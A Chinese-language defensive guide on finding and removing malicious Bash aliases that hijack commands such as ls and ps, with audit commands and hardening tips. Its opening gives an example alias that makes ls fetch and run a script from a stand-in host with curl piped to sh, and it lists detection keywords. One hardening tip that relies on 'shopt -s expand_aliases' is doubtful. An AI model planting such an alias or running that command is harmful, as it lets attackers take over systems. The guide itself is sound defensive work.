alias是Bash中用于定义命令别名的内建命令,可简化长命令、提高效率,但存在被恶意利用劫持高频命令的风险,需通过alias、type -a、\command等命令排查与验证。

别名(alias)是 Bash 中最隐蔽、最容易被忽略的命令替换手段之一。它不修改任何二进制文件,不触发 rpm -V 校验告警,也不会在 /proc/PID/exe 中暴露真实路径,但能悄无声息地劫持日常运维操作——比如把 ls 改成 ls ; curl http://mal.com/x.sh | sh,或让 ps 过滤掉恶意进程。
检查当前 Shell 会话中的 alias 定义
攻击者常通过 ~/.bashrc、~/.bash_profile、/etc/profile.d/ 下的脚本注入 alias。需逐层排查:
- 运行 alias 查看当前会话所有别名,重点关注 ls、ps、netstat、top、history 等高频命令是否被重定义
- 检查用户级配置:cat ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null | grep -i "alias "
- 检查系统级配置:cat /etc/profile /etc/bash.bashrc 2>/dev/null | grep -i "alias "
- 检查 profile.d 目录:grep -r "alias " /etc/profile.d/ 2>/dev/null(尤其注意随机命名的 .sh 文件)
识别伪装 alias 的典型特征
恶意 alias 往往有以下行为模式,可直接作为 grep 关键词:
- 包含 curl、wget、sh -c、|、; 等执行链符号
- 以空格或反斜杠开头(如 alias ls=' \ls '),试图绕过简单匹配
- 调用不存在的命令(如 alias ps='/tmp/.x'),后续再植入同名文件
- 使用变量拼接(如 alias cd='cd $HOME; /usr/bin/curl ...')
验证命令真实路径与行为一致性
别名只是覆盖了命令调用方式,底层仍依赖原始程序。可通过以下方式交叉验证:
- 用 \ls 或 /bin/ls 绕过 alias 执行原生命令(反斜杠前缀可临时禁用 alias)
- 用 command ls 强制调用未被 alias 干扰的命令
- 对比输出差异:运行 ls -la /tmp 和 \ls -la /tmp,若结果不一致,说明 ls 被篡改
- 检查命令来源:type -a ls 会显示 alias 定义及真实路径,例如输出 alias ls='ls --color=auto' 和 /bin/ls
清理与加固建议
发现恶意 alias 后,不能仅删除配置行,还需确认是否已触发后续下载或持久化:
- 立即清除对应配置文件中的 alias 行,并用 unalias ls 等命令即时解除会话级别覆盖
- 检查 /tmp、/dev/shm、/var/tmp 是否存在可疑脚本(如 x.sh、.a、.b),特别是最近 24 小时内创建的
- 运行 history | grep -E "(curl|wget).*sh" 查看是否已有远程脚本被执行
- 加固建议:在 /etc/skel/.bashrc 中添加只读提示,或统一禁用用户自定义 alias(在 /etc/profile 中设 shopt -s expand_aliases 后限制写入权限)

















